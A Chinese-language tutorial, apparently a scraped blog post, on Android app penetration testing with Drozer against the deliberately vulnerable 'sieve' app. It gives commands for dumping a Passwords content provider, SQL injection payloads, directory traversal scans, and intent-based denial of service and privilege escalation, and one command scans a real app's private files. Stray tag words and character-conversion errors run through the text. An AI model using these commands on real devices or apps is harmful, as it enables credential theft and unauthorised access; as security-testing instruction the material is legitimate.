第一步:從http://mwr.to/drozer下載Drozer (Windows Installer) android
第二步:在Android設備中安裝agent.apkshell
adb install agent.apkapp
第一步:在PC上使用adb進行端口轉發,轉發到Drozer使用的端口31415tcp
adb forward tcp:31415 tcp:31415
第二步:在Android設備上開啓Drozer Agentide
選擇embedded server-enable工具
第三步:在PC上開啓Drozer console測試
drozer console connect
2、測試步驟spa
dz> run app.package.list -f sieve
com.mwr.example.sieve
2.獲取應用的基本信息code
run app.package.info -a com.mwr.example.sieve
3.肯定攻擊面component
run app.package.attacksurface com.mwr.example.sieve
4.Activity
(1)獲取activity信息
run app.activity.info -a com.mwr.example.sieve
(2)啓動activity
run app.activity.start --component com.mwr.example.sieve dz> help app.activity.start usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY] [--component PACKAGE COMPONENT] [--data-uri DATA_URI] [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]] [--mimetype MIMETYPE]
5.Content Provider
(1)獲取Content Provider信息
run app.provider.info -a com.mwr.example.sieve
(2)Content Providers(數據泄露)
先獲取全部能夠訪問的Uri:
run scanner.provider.finduris -a com.mwr.example.sieve
獲取各個Uri的數據:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查詢到數聽說明存在漏洞
(3)Content Providers(SQL注入)
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
報錯則說明存在SQL注入。
列出全部表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
獲取某個表(如Key)中的數據:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
(4)同時檢測SQL注入和目錄遍歷
run scanner.provider.injection -a com.mwr.example.sieve
run scanner.provider.traversal -a com.mwr.example.sieve
6 intent組件觸發(拒絕服務、權限提高)
利用intent對組件的觸發通常有兩類漏洞,一類是拒絕服務,一類的權限提高。拒絕服務危害性比較低,更多的只是影響應用服務質量;而權限提高將使得沒有該權限的應用能夠經過intent觸發擁有該權限的應用,從而幫助其完成越權行爲。
1.查看暴露的廣播組件信息:
run app.broadcast.info -a com.package.name 獲取broadcast receivers信息 run app.broadcast.send --component 包名 --action android.intent.action.XXX
2.嘗試拒絕服務攻擊檢測,向廣播組件發送不完整intent(空action或空extras):
run app.broadcast.send 經過intent發送broadcast receiver
(1) 空action
run app.broadcast.send --component 包名 ReceiverName
run app.broadcast.send --component 包名 ReceiverName
(2) 空extras
run app.broadcast.send --action android.intent.action.XXX
3.嘗試權限提高
權限提高其實和拒絕服務很相似,只不過目的變成構造更爲完整、更能知足程序邏輯的intent。因爲activity通常多於用戶交互有關,因此基 於intent的權限提高更多針對broadcast receiver和service。與drozer相關的權限提高工具,能夠參考IntentFuzzer,其結合了drozer以及hook技術,採用 feedback策略進行fuzzing。如下僅僅列舉drozer發送intent的命令:
(1)獲取service詳情
run app.service.info -a com.mwr.example.sieve
不使用drozer啓動service
am startservice –n 包名/service名
(2)權限提高
run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
7.文件操做
列出指定文件路徑裏全局可寫/可讀的文件
run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo run app.broadcast.send --component 包名 --action android.intent.action.XXX
8.其它模塊
shell.start 在設備上開啓一個交互shell tools.file.upload / tools.file.download 上傳/下載文件到設備 tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進制文件